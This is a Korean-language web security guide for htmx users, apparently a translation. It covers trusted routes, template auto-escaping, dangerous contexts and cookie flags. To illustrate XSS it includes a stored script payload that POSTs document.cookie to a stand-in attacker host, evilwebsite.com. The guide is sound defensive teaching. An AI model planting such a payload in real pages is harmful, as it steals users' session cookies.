htmx๊ฐ ์ธ๊ธฐ๋ฅผ ์ป์ผ๋ฉด์ ์๋ฒ์์ ์์ฑ๋ HTML์ ์์ฑํด ๋ณธ ์ ์ด ์๋ ์ปค๋ฎค๋ํฐ์๋ ๋๋ฌํ๊ฒ ๋์์ต๋๋ค. ๋์ HTML ํ ํ๋ฆฟ์ ์ฌ์ ํ Rails, Django, Spring๊ณผ ๊ฐ์ ์ธ๊ธฐ ์๋ ์น ํ๋ ์์ํฌ๋ฅผ ์ฌ์ฉํ๋ ํ์ค ๋ฐฉ์์ด์ง๋ง, React์ Svelte ๊ฐ์ ๋จ์ผ ํ์ด์ง ์ ํ๋ฆฌ์ผ์ด์ (SPA) ํ๋ ์์ํฌ๋ฅผ ์ฌ์ฉํด ์จ ์ฌ๋๋ค์๊ฒ๋ HTML์ ์ง์ ์์ฑํ์ง ์๋ ๊ฒ์ด ์ผ๋ฐ์ ์ ๋๋ค.
ํ์ง๋ง ๊ฑฑ์ ํ์ง ๋ง์ธ์! HTML ํ ํ๋ฆฟ์ผ๋ก ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ฑํ๋ ๊ฒ์ ์ฝ๊ฐ ๋ค๋ฅธ ๋ณด์ ๋ชจ๋ธ์ ์๊ตฌํ์ง๋ง, JSX ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณดํธํ๋ ๊ฒ๋ณด๋ค ์ด๋ ต์ง ์์ผ๋ฉฐ, ์ด๋ค ๋ฉด์์๋ ํจ์ฌ ๋ ์ฝ์ต๋๋ค.
์ด ๊ฐ์ด๋๋ htmx์์ ์น ๋ณด์์ ๊ธฐ์ด๋ฅผ ๋ค๋ฃน๋๋ค. ๊ทธ๋ฌ๋ ์ด ๊ฐ๋ ๋ค์ htmx์๋ง ๊ตญํ๋์ง ์๊ณ , ๋์ ์ด๋ฉฐ ์ฌ์ฉ์ ์์ฑ ์ฝํ ์ธ ๋ฅผ ์น์ ๋ฐฐํฌํ ๋ ์ค์ํ๊ฒ ๊ณ ๋ คํด์ผ ํ๋ ๊ฐ๋ ๋ค์ ๋๋ค.
์ด ๊ฐ์ด๋๋ฅผ ์ํด, ์ฌ๋ฌ๋ถ์ ์น์ ๊ธฐ๋ณธ ์๋ฏธ๋ฅผ ์ดํดํ๊ณ ๋ฐฑ์๋ ์๋ฒ๋ฅผ ์์ฑํ ์ ์์ด์ผ ํฉ๋๋ค(์ธ์ด๋ ์๊ด์์ต๋๋ค).
์๋ฅผ ๋ค์ด, ์ํ๋ฅผ ๋ณ๊ฒฝํ ์ ์๋ GET
๊ฒฝ๋ก๋ฅผ ๋ง๋ค์ง ์์์ผ ํ๋ค๋ ๊ฒ์ ์๊ณ ์์ด์ผ ํฉ๋๋ค.
๋ํ, ์ด ๊ฐ์ด๋๋ ๋ค๋ฅธ ์ฌ๋์ ์น์ฌ์ดํธ๋ฅผ ํธ์คํ
ํ๋ ๊ฒ๊ณผ ๊ฐ์ ๋ณต์กํ ์์
์ ๋ค๋ฃจ์ง ์์ต๋๋ค. ๋ง์ฝ ๊ทธ๋ฐ ์์
์ ํ๊ณ ์๋ค๋ฉด, ์ด ๊ฐ์ด๋์์ ๋ค๋ฃจ๋ ๋ณด์ ๊ฐ๋
์ ๋์ด์๋ ๋ด์ฉ์ ์์งํด์ผ ํฉ๋๋ค.
์ด๋ฌํ ๊ฐ์ํ๋ ๊ฐ์ ์ ํตํด ๊ฐ๋ฅํ ํ ๋ง์ ์ฌ๋๋ค์๊ฒ ํ๊ฒํ ํ๊ณ , ๋ฐฉํด๊ฐ ๋๋ ์ ๋ณด๋ฅผ ํฌํจํ์ง ์๋๋ก ๋ ธ๋ ฅํ์ต๋๋ค. ๋น์ฐํ ๋ชจ๋ ์ํฉ์ ํฌ๊ดํ ์๋ ์์ต๋๋ค. ์ด๋ค ๋ณด์ ๊ฐ์ด๋๋ ์๋ฒฝํ ํฌ๊ด์ ์ผ ์๋ ์์ต๋๋ค. ๋ง์ฝ ์ค์๊ฐ ์๊ฑฐ๋ ์ธ๊ธํด์ผ ํ ๋ช ๋ฐฑํ ์ํ ์์๊ฐ ์๋ค๊ณ ์๊ฐํ์๋ฉด, ์ฐ๋ฝํด ์ฃผ์๋ฉด ์ ๋ฐ์ดํธํ๊ฒ ์ต๋๋ค.
๋ค์ ๋ค ๊ฐ์ง ๊ฐ๋จํ ๊ท์น์ ๋ฐ๋ฅด๋ฉด ํด๋ผ์ด์ธํธ ๋ณด์ ๋ชจ๋ฒ ์ฌ๋ก๋ฅผ ๋ฐ๋ฅด๊ฒ ๋ฉ๋๋ค:
Secure
, HttpOnly
, SameSite=Lax
์ค์ ํ๊ธฐ๋ค์ ์น์ ์์๋ ๊ฐ ๊ท์น์ด ๋ฌด์์ ์๋ฏธํ๋ฉฐ, ์ด๋ค ์ข ๋ฅ์ ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋์ง ์ค๋ช ํ๊ฒ ์ต๋๋ค. ๋๋ถ๋ถ์ htmx ์ฌ์ฉ์, ์ฆ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ๊ณ , ๋ฐ์ดํฐ๋ฅผ ์กฐํํ๊ณ , ๊ทธ ๋ฐ์ดํฐ๋ฅผ ์ ๋ฐ์ดํธํ ์ ์๋ ์น์ฌ์ดํธ๋ฅผ ๊ตฌ์ถํ๋ ์ฌ์ฉ์๋ ์ด๋ฌํ ๊ท์น์ ์ด๊ธธ ์ด์ ๊ฐ ๊ฑฐ์ ์์ ๊ฒ์ ๋๋ค.
์ดํ์๋ ์ผ๋ถ ๊ท์น์ ๊นจ๋ ๋ฐฉ๋ฒ์ ๋ํด ์ค๋ช ํ๊ฒ ์ต๋๋ค. ์ด๋ฌํ ์ ์ฝ ๋ด์์ ์ ์ฉํ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ง์ด ๊ตฌ์ถํ ์ ์์ง๋ง, ๋ ๊ณ ๊ธ์ค๋ฌ์ด ๊ธฐ๋ฅ์ด ํ์ํ๋ค๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณด์์ ์ ์งํ๋ ๊ฐ๋ ์ ๋ถ๋ด์ด ์ฆ๊ฐํ ๊ฒ์ด๋ผ๋ ์ ์ ์ถฉ๋ถํ ์ธ์ํ๊ณ ์์ด์ผ ํฉ๋๋ค. ์ด ๊ณผ์ ์์ ์น ๋ณด์์ ๋ํด ๋ง์ ๊ฒ์ ๋ฐฐ์ฐ๊ฒ ๋ ๊ฒ์ ๋๋ค.
์ด ๊ท์น์ ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ด๊ณ ๊ฐ์ฅ ์ค์ํฉ๋๋ค: ์ ๋ขฐํ ์ ์๋ ๊ฒฝ๋ก๋ฅผ htmx๋ก ํธ์ถํ์ง ๋ง์ธ์.
์ค์ ๋ก๋ ์๋ URL๋ง ์ฌ์ฉํด์ผ ํ๋ค๋ ์๋ฏธ์ ๋๋ค. ๋ค์์ ๊ด์ฐฎ์ ์์ ๋๋ค:
<button hx-get="/events">Search events</button>
ํ์ง๋ง ๋ค์์ ์๋ชป๋ ์์ ๋๋ค:
<button hx-get="https://google.com/search?q=events">Search events</button>
๊ทธ ์ด์ ๋ ๊ฐ๋จํฉ๋๋ค: htmx๋ ํด๋น ๊ฒฝ๋ก์์ ๋ฐ์ ์๋ต์ ์ฌ์ฉ์์ ํ์ด์ง์ ์ง์ ์ฝ์
ํฉ๋๋ค. ๋ง์ฝ ์๋ต์ ์
์ฑ <script>
๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด,
ํด๋น ์คํฌ๋ฆฝํธ๊ฐ ์ฌ์ฉ์์ ๋ฐ์ดํฐ๋ฅผ ํ์น ์ ์์ต๋๋ค. ๊ฒฝ๋ก๋ฅผ ์ ์ดํ์ง ์์ผ๋ฉด, ํด๋น ๊ฒฝ๋ก๋ฅผ ์ ์ดํ๋ ์ฌ๋์ด ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ถ๊ฐํ์ง ์์ผ๋ฆฌ๋ผ๋ ๋ณด์ฅ์ด ์์ต๋๋ค.
๋คํํ๋ ์ด ๊ท์น์ ๋งค์ฐ ์ฝ๊ฒ ์งํฌ ์ ์์ต๋๋ค. ํ์ดํผ๋ฏธ๋์ด API(์ฆ, HTML)๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ ์ด์์์ ๊ตฌ์ฒด์ ์ด๋ฏ๋ก ๋ค๋ฅธ ์ฌ๋์ HTML์ ํ์ด์ง์ ์ฝ์ ํ ์ด์ ๊ฐ ๊ฑฐ์ ์์ต๋๋ค. ์์ ์ด ์ ์ดํ๋ ๊ฒฝ๋ก๋ง ํธ์ถํ๋ฉด ๋ฉ๋๋ค(์ค์ ๋ก htmx 2 ๋ฒ์ ์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ค๋ฅธ ๋๋ฉ์ธ ํธ์ถ์ ๋นํ์ฑํํฉ๋๋ค).
์ด์ ์๋ ํ๋ก ํธ์๋์ ๋ฐฑ์๋๋ฅผ ๋ณ๋์ ๋ฆฌํฌ์งํ ๋ฆฌ๋ก ๋ถ๋ฆฌํ๊ณ ๋๋ก๋ ์๋ก ๋ค๋ฅธ URL์์ ์ ๊ณตํ๋ SPA ํจํด์ด ํํ์ง๋ง, htmx(๊ทธ๋ฆฌ๊ณ ๊ณต์ ํ๊ฒ ๋งํ๋ฉด ํ๋์ React์ NextJS์์๋)๋ ์ด๊ฒ์ ๋ฐํจํด์ผ๋ก ๊ฐ์ฃผํฉ๋๋ค.
๋์ , ํ๋ก ํธ์๋ HTML์ ๋ฐฑ์๋์ ๋์ผํ ์๋ฒ(๋๋ ์ต์ํ ๋์ผํ ๋๋ฉ์ธ)์์ ์ ๊ณตํ๋ฉด ๋ชจ๋ ๊ฒ์ด ์ฝ๊ฒ ์ ๋ฆฌ๋ฉ๋๋ค: ์๋ URL์ ์ฌ์ฉํ ์ ์๊ณ , CORS ๋ฌธ์ ๋ฅผ ๊ฒช์ง ์์ผ๋ฉฐ, ๋ค๋ฅธ ์ฌ๋์ ๋ฐฑ์๋๋ฅผ ํธ์ถํ ์ผ์ด ์์ต๋๋ค.
htmx๋ HTML์ ์คํํฉ๋๋ค; HTML์ ์ฝ๋์ ๋๋ค; ์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์ ๋ ์คํํ์ง ๋ง์ธ์.
์ฌ์ฉ์์๊ฒ HTML์ ์ ์กํ ๋๋ ๋ชจ๋ ๋์ ์ฝํ ์ธ ๋ฅผ ์ด์ค์ผ์ดํํด์ผ ํฉ๋๋ค. ์๋ต์ ๊ตฌ์ฑํ ๋ ํ ํ๋ฆฟ ์์ง์ ์ฌ์ฉํ๊ณ , ์๋ ์ด์ค์ผ์ดํ๊ฐ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ์ธ์.
๋คํํ ๋ชจ๋ ํ ํ๋ฆฟ ์์ง์ HTML ์ด์ค์ผ์ดํ๋ฅผ ์ง์ํ๋ฉฐ, ๋๋ถ๋ถ์ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์์ต๋๋ค. ์๋๋ ๋ช ๊ฐ์ง ์์์ ๋๋ค.
์ธ์ด | ํ ํ๋ฆฟ ์์ง | ๊ธฐ๋ณธ์ ์ผ๋ก HTML ์ด์ค์ผ์ดํ๊ฐ ํ์ฑํ๋์ด ์๋๊ฐ? |
---|---|---|
JavaScript | Nunjucks | ์ |
JavaScript | EJS | ์, <%= %> ์ฌ์ฉ |
Python | DTL | ์ |
Python | Jinja | ๊ฒฝ์ฐ์ ๋ฐ๋ผ ๋ค๋ฆ (Flask์์๋ ์) |
Ruby | ERB | ์, <%= %> ์ฌ์ฉ |
PHP | Blade | ์ |
Go | html/template | ์ |
Java | Thymeleaf | ์ |
Rust | Tera | ์ |
์ด ๊ท์น์ด ๋ฐฉ์งํ๋ ์ทจ์ฝ์ ์ ํํ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS) ๊ณต๊ฒฉ์ผ๋ก ๋ถ๋ฆฌ๋ฉฐ, ์ด๋ ๊ด๋ฒ์ํ๊ฒ ์ฌ์ฉ๋๋ ์ฉ์ด๋ก, ์นํ์ด์ง์ ์์์น ๋ชปํ ์ฝํ ์ธ ๋ฅผ ์ฃผ์ ํ๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ๊ณต๊ฒฉ์๋ API๋ฅผ ์ฌ์ฉํด ์ ์ฑ ์ฝ๋๋ฅผ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅํ ํ, ๊ทธ ์ ๋ณด๋ฅผ ์์ฒญํ๋ ๋ค๋ฅธ ์ฌ์ฉ์๋ค์๊ฒ ํด๋น ์ฝ๋๋ฅผ ์ ๊ณตํ๋ ๋ฐฉ์์ ์ฌ์ฉํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ๋ฐ์ดํธ ์ฌ์ดํธ๋ฅผ ๊ตฌ์ถ ์ค์ด๋ผ๊ณ ๊ฐ์ ํ๊ณ , ์ฌ์ฉ์๊ฐ ์์ ์ ์๊ฐ๊ธ์ ๊ณต์ ํ ์ ์๊ฒ ํ๋ค๊ณ ํฉ์๋ค. ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ๋ ์๊ฐ๊ธ์ {{ user.bio }}
๋ก ๋ ๋๋ง๋ ๊ฒ์
๋๋ค:
<p>
{{ user.bio }}
</p>
๋ง์ฝ ์
์์ ์ธ ์ฌ์ฉ์๊ฐ <script>
์์๋ฅผ ํฌํจํ ์๊ฐ๊ธ์ ์์ฑํ๋ค๋ฉด, ์ด HTML์ ํด๋น ์๊ฐ๊ธ์ ๋ณด๋ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ์ ์ก๋ ๊ฒ์
๋๋ค:
<p>
<script>
fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>
๋คํํ๋ ์ด ๋ฌธ์ ๋ ์์ฃผ ๊ฐ๋จํ ํด๊ฒฐํ ์ ์์ต๋๋ค. ์ฌ์ฉ์๊ฐ ์ ๊ณตํ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ํ ๋, ์ฌ๋ ๊ฐ์ ๋ฌธ์๋ฅผ ๊ทธ๋ค์ ๋น์ฝ๋ ๋์ฒด ๋ฌธ์๋ก ๋ฐ๊ฟ์ฃผ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค. ๋ค์์ JavaScript๋ก ์์ฑ๋ ์์์ ๋๋ค:
/**
* HTML ์ปจํ
์คํธ์์ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์
ํ ์ ์๋ ๋ฌธ์๋ฅผ ์นํํฉ๋๋ค.
*/
export function escapeHtmlText(value) {
const stringValue = value.toString()
const entityMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
'`': '`',
'=': '='
}
// /[ ... ]/ ๋ด๋ถ์ ๋ชจ๋ ๋ฌธ์์ ์ผ์น์ํต๋๋ค.
const regex = /[&<>"'`=/]/g
return stringValue.replace(regex, match => entityMap[match])
}
์ด ์์ JS ํจ์๋ <
์ <
, "
์ "
๋ก ๋ฐ๊ฟ๋๋ค. ์ด๋ฌํ ๋ฌธ์๋ค์ ํ
์คํธ๋ก ์ฌ์ฉํ ๋ <
์ "
๋ก ์ฌ๋ฐ๋ฅด๊ฒ ๋ ๋๋ง๋์ง๋ง, ์ฝ๋ ๊ตฌ๋ฌธ์ผ๋ก ํด์๋ ์๋ ์์ต๋๋ค.
์ด์ ์ ์
์ฑ ์๊ฐ๊ธ์ ๋ค์๊ณผ ๊ฐ์ HTML๋ก ๋ณํ๋ฉ๋๋ค:
<p>
<script>
fetch('evilwebsite.com', { method: 'POST', data: document.cookie })
</script>
</p>
์ด์ ๋ ์์ ํ๊ฒ ํ ์คํธ๋ก ํ์๋ฉ๋๋ค.
๋คํํ๋, ์์ ์ธ๊ธํ๋ฏ์ด ์๋์ผ๋ก ์ด์ค์ผ์ดํํ ํ์๋ ์์ต๋๋ค. ์ด์ค์ผ์ดํ์ ๊ฐ๋ ์ด ์ผ๋ง๋ ๊ฐ๋จํ์ง๋ฅผ ๋ณด์ฌ์ฃผ๊ธฐ ์ํด ์์๋ฅผ ๋ ๊ฒ๋ฟ์ ๋๋ค. ๋ชจ๋ ํ ํ๋ฆฟ ์์ง์๋ ์๋ ์ด์ค์ผ์ดํ ๊ธฐ๋ฅ์ด ์์ผ๋ฉฐ, ์ด์ฐจํผ ํ ํ๋ฆฟ ์์ง์ ์ฌ์ฉํ๊ฒ ๋ ๊ฒ์ ๋๋ค. ์ด์ค์ผ์ดํ๊ฐ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ๊ณ , ๋ชจ๋ HTML์ ์ด๋ฅผ ํตํด ์ ์กํ์ธ์.
์ด ๊ท์น์ ํ ํ๋ฆฟ ์์ง ๊ท์น์ ์ถ๊ฐ ์ฌํญ์ด์ง๋ง, ์ถฉ๋ถํ ์ค์ํ ๋ถ๋ถ์ด๋ฏ๋ก ๋ณ๋๋ก ์ธ๊ธํ๊ณ ์ ํฉ๋๋ค. ์๋ ์ด์ค์ผ์ดํ ํ ํ๋ฆฟ ์์ง์ ์ฌ์ฉํ๋๋ผ๋ ์ฌ์ฉ์๊ฐ ์์๋ก CSS๋ JS ์ฝํ ์ธ ๋ฅผ ์ ์ํ์ง ์๋๋ก ํด์ผ ํฉ๋๋ค.
<!-- script ํ๊ทธ ์์ ํฌํจํ์ง ๋ง์ธ์ -->
<script>
const userName = {{ user.name }}
</script>
<!-- CSS ํ๊ทธ ์์ ํฌํจํ์ง ๋ง์ธ์ -->
<style>
h1 { color: {{ user.favorite_color }} }
</style>
๋ํ, ์ฌ์ฉ์ ์ ์ ์์ฑ์ด๋ ํ๊ทธ ์ด๋ฆ๋ ์ฌ์ฉํ์ง ๋ง์ธ์:
<!-- ์ฌ์ฉ์ ์ ์ ํ๊ทธ ์ด๋ฆ ํ์ฉํ์ง ์๊ธฐ -->
<{{ user.tag }}></{{ user.tag }}>
<!-- ์ฌ์ฉ์ ์ ์ ์์ฑ ํ์ฉํ์ง ์๊ธฐ -->
<a {{ user.attribute }}></a>
<!-- ์ฌ์ฉ์ ์ ์ ์์ฑ ๊ฐ์ ๊ฒฝ์ฐ์ ๋ฐ๋ผ ๊ด์ฐฎ์ ์ ์์ -->
<a class="{{ user.class }}"></a>
<!-- ์ด์ค์ผ์ดํ๋ ์ฝํ
์ธ ๋ ํญ์ HTML ํ๊ทธ ์์์ ์์ ํจ (์ด๊ฑด ๊ด์ฐฎ์ต๋๋ค) -->
<a>{{ user.name }}</a>
CSS, JavaScript, ๊ทธ๋ฆฌ๊ณ HTML ์์ฑ์ โ์ํํ ์ปจํ ์คํธโ๋ก, ์ด์ค์ผ์ดํ๋๋๋ผ๋ ์์์ ์ฌ์ฉ์ ์ ๋ ฅ์ ํ์ฉํ๋ ๊ฒ์ด ์์ ํ์ง ์์ต๋๋ค. ์ด์ค์ผ์ดํ๋ ์ฌ๊ธฐ์์ ์ผ๋ถ ์ทจ์ฝ์ ์ ๋ฐฉ์ดํด ์ค ์ ์์ง๋ง, ๋ชจ๋ ๊ฒ์ ๋ง์์ฃผ์ง๋ ๋ชปํ๋ฉฐ, ์ทจ์ฝ์ ์ด ๋ค์ํ ๋งํผ ๊ธฐ๋ณธ์ ์ผ๋ก๋ ์ด๋ฌํ ์์ ์ ์ ํ ํ์ง ์๋ ๊ฒ์ด ๊ฐ์ฅ ์์ ํฉ๋๋ค.
์ฌ์ฉ์ ์์ฑ ํ ์คํธ๋ฅผ ์คํฌ๋ฆฝํธ ํ๊ทธ์ ์ง์ ์ฝ์ ํ๋ ๊ฒ์ ์ ๋ ํ์ํ์ง ์์ง๋ง, ์ฌ์ฉ์๊ฐ CSS๋ฅผ ์ปค์คํฐ๋ง์ด์งํ๊ฑฐ๋ HTML ์์ฑ์ ์ปค์คํฐ๋ง์ด์งํ๋๋ก ํ์ฉํด์ผ ํ ์ํฉ์ด ์์ ์ ์์ต๋๋ค. ์ด๋ฌํ ์์ ์ ์ฌ๋ฐ๋ฅด๊ฒ ์ฒ๋ฆฌํ๋ ๋ฐฉ๋ฒ์ ๋ํด์๋ ์๋์์ ๋ค๋ฃจ๊ฒ ์ต๋๋ค.
htmx์์ ์ธ์ฆ์ ์ํํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ์ฟ ํค๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋๋ค. htmx๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฒซ ๋ฒ์งธ HTML API๋ฅผ ํตํ ์ํธ์์ฉ์ ๊ถ์ฅํ๊ธฐ ๋๋ฌธ์ ๋ธ๋ผ์ฐ์ ์ ์ต์์ ์ฟ ํค ๋ณด์ ๊ธฐ๋ฅ์ ํ์ฑํํ๋ ๊ฒ์ด ๋๊ฐ ๊ฐ๋จํฉ๋๋ค. ํนํ ๋ค์ ์ธ ๊ฐ์ง๋ฅผ ํ์ฑํํด์ผ ํฉ๋๋ค:
Secure
- HTTPS๋ฅผ ํตํด์๋ง ์ฟ ํค๋ฅผ ์ ์กํ๊ณ , HTTP๋ฅผ ํตํด์๋ ์ ์กํ์ง ์์HttpOnly
- ์ฟ ํค๋ฅผ document.cookie
๋ฅผ ํตํด JavaScript์์ ์ฌ์ฉํ ์ ์๋๋ก ํจSameSite=Lax
- ๋จ์ํ ๋งํฌ๊ฐ ์๋ ์ด์, ๋ค๋ฅธ ์ฌ์ดํธ์์ ์ฟ ํค๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒญ์ ๋ณด๋ผ ์ ์๋๋ก ํจ์ด ์ค์ ๋ค์ด ๋ฌด์์ ๋ฐฉ์ดํ๋์ง ์ดํดํ๊ธฐ ์ํด, ์ฟ ํค์ ๊ธฐ๋ณธ ์ฌํญ์ ์ดํด๋ณด๊ฒ ์ต๋๋ค.
JavaScript SPA์์ ์ฃผ๋ก Authorization
ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ์ธ์ฆํ๋ ๊ฒฝ์ฐ, ์ฟ ํค๊ฐ ์ด๋ป๊ฒ ๋์ํ๋์ง ์ต์ํ์ง ์์ ์ ์์ต๋๋ค.
๋คํํ๋ ์ฟ ํค๋ ๋งค์ฐ ๊ฐ๋จํฉ๋๋ค. (์ฐธ๊ณ : ์ด๊ฒ์ htmx์์์ ์ธ์ฆ์ ๋ํ ํํ ๋ฆฌ์ผ์ด ์๋๋ผ, ์ฟ ํค ํ ํฐ์ ๋ํ ์ผ๋ฐ์ ์ธ ๊ฐ์์
๋๋ค)
์ฌ์ฉ์๊ฐ <form>
์ ํตํด ๋ก๊ทธ์ธํ๋ฉด, ๋ธ๋ผ์ฐ์ ๋ ์๋ฒ์ HTTP ์์ฒญ์ ๋ณด๋ด๊ณ , ์๋ฒ๋ ๋ค์๊ณผ ๊ฐ์ ์๋ต์ ๋ฐํํฉ๋๋ค:
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982
[HTML content]
์ด ํ ํฐ์ ์ฌ์ฉ์์ ํ์ฌ ๋ก๊ทธ์ธ ์ธ์
์ ํด๋นํ๋ฉฐ, ์ดํ ํด๋น ์ฌ์ฉ์๊ฐ yourdomain.com
์ ๋ชจ๋ ๊ฒฝ๋ก์ ์์ฒญ์ ๋ณด๋ผ ๋๋ง๋ค ๋ธ๋ผ์ฐ์ ๋ Set-Cookie
์์ ๋ฐ์ ์ด ์ฟ ํค๋ฅผ HTTP ์์ฒญ์ ํฌํจํฉ๋๋ค.
GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982
์ฌ์ฉ์๊ฐ ์๋ฒ์ ์์ฒญ์ ๋ณด๋ผ ๋๋ง๋ค, ์๋ฒ๋ ์ด ํ ํฐ์ ํ์ฑํ๊ณ ์ ํจํ์ง ํ์ธํด์ผ ํฉ๋๋ค. ๊ฐ๋จํ์ฃ .
๋ํ, ์์์ ๊ถ์ฅํ ์ต์ ์ ํฌํจํ์ฌ ์ฟ ํค์ ์ต์ ์ ์ค์ ํ ์๋ ์์ต๋๋ค. ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ๋ฐ๋ผ ์ค์ ๋ฐฉ๋ฒ์ ๋ค๋ฅด์ง๋ง, ๊ฒฐ๊ณผ์ ์ผ๋ก๋ ๋ค์๊ณผ ๊ฐ์ HTTP ์๋ต์ด ์์ฑ๋ฉ๋๋ค:
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
[HTML content]
๊ทธ๋ ๋ค๋ฉด ์ด ์ต์ ๋ค์ ๋ฌด์์ ํ๋ ๊ฑธ๊น์?
์ฒซ ๋ฒ์งธ, Secure
๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์์ ํ์ง ์์ HTTP ์ฐ๊ฒฐ์ ํตํด ์ฟ ํค๋ฅผ ์ ์กํ์ง ์๊ณ , ์ค์ง ์์ ํ HTTPS ์ฐ๊ฒฐ์ ํตํด์๋ง ์ ์กํ๋๋ก ๋ณด์ฅํฉ๋๋ค.
์ฌ์ฉ์์ ๋ก๊ทธ์ธ ํ ํฐ๊ณผ ๊ฐ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ ์ ๋ ์์ ํ์ง ์์ ์ฐ๊ฒฐ์ ํตํด ์ ์ก๋์ง ์์์ผ ํฉ๋๋ค.
๋ ๋ฒ์งธ ์ต์
์ธ HttpOnly
๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ฟ ํค๋ฅผ JavaScript์ ๋
ธ์ถํ์ง ์๋๋ก ํฉ๋๋ค(document.cookie
์์ ์ฟ ํค๋ฅผ ์ฌ์ฉํ ์ ์๋๋ก ํจ).
์์ ์ธ๊ธํ evilwebsite.com
์์์ ๊ฐ์ด, ๋๊ตฐ๊ฐ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ๋๋ผ๋, ํด๋น ์คํฌ๋ฆฝํธ๋ ์ฌ์ฉ์์ ์ฟ ํค์ ์ ๊ทผํ๊ฑฐ๋ ์ด๋ฅผ evilwebsite.com
์ผ๋ก ์ ์กํ ์ ์์ต๋๋ค.
๋ธ๋ผ์ฐ์ ๋ ์ฟ ํค๋ฅผ ํด๋น ์ฟ ํค๊ฐ ๋ฐ๊ธ๋ ์น์ฌ์ดํธ์ ๋ํ ์์ฒญ์ ๋ณด๋ผ ๋๋ง ์ฒจ๋ถํฉ๋๋ค.
๋ง์ง๋ง์ผ๋ก, SameSite=Lax
๋ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ์์กฐ(CSRF) ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
CSRF ๊ณต๊ฒฉ์ ๊ณต๊ฒฉ์๊ฐ ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ๊ฐ yourdomain.com
์๋ฒ๋ก ์
์์ ์ธ ์์ฒญ(์: POST ์์ฒญ)์ ๋ณด๋ด๋๋ก ์๋ํ๋ ๊ฒ์
๋๋ค.
SameSite=Lax
์ค์ ์ ์์ฒญ์ ๋ณด๋ธ ์ฌ์ดํธ๊ฐ yourdomain.com
์ด ์๋ ๊ฒฝ์ฐ, ๋ธ๋ผ์ฐ์ ๊ฐ yourdomain.com
์ฟ ํค๋ฅผ ์ ์กํ์ง ์๋๋ก ์ง์ํฉ๋๋ค(๋จ์ํ <a>
๋งํฌ๋ฅผ ํตํด ํ์ด์ง๋ก ์ด๋ํ๋ ๊ฒฝ์ฐ๋ ์ ์ธ).
์ด๋ ๋๋ถ๋ถ์ ๋ธ๋ผ์ฐ์ ์ ๊ธฐ๋ณธ ๋์์ด์ง๋ง, ์ฌ์ ํ ์ง์ ์ค์ ํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
2024๋
์๋ SameSite=Lax
์ค์ ์ด CSRF๋ฅผ ๋ฐฉ์ดํ๊ธฐ์ ์ถฉ๋ถํ ๊ฒฝ์ฐ๊ฐ ๋ง์ง๋ง,
๋ ๋ฏผ๊ฐํ๊ฑฐ๋ ๋ณต์กํ ์ํฉ์์๋ ์ถ๊ฐ์ ์ธ ์ํ์ฑ
์ ๊ณ ๋ คํ ์๋ ์์ต๋๋ค.
์ค์ํ ์ฐธ๊ณ ์ฌํญ: SameSite=Lax
๋ ๋๋ฉ์ธ ์์ค์์๋ง ๋ณดํธํ๋ฉฐ, ํ์ ๋๋ฉ์ธ ์์ค(์: yourdomain.com
, yoursite.github.io
)์์๋ ๋ณดํธํ์ง ์์ต๋๋ค.
์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋๋ ํญ์ ํ๋ก๋์
์์ ์์ฒด ๋๋ฉ์ธ์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๋๋ก๋ ๊ณต์ฉ ์ ๋ฏธ์ฌ ๋ชฉ๋ก(Public Suffixes List)์ด ๋ณดํธํด ์ค ์ ์์ง๋ง, ์ด์ ์์กดํด์๋ ์ ๋ฉ๋๋ค.
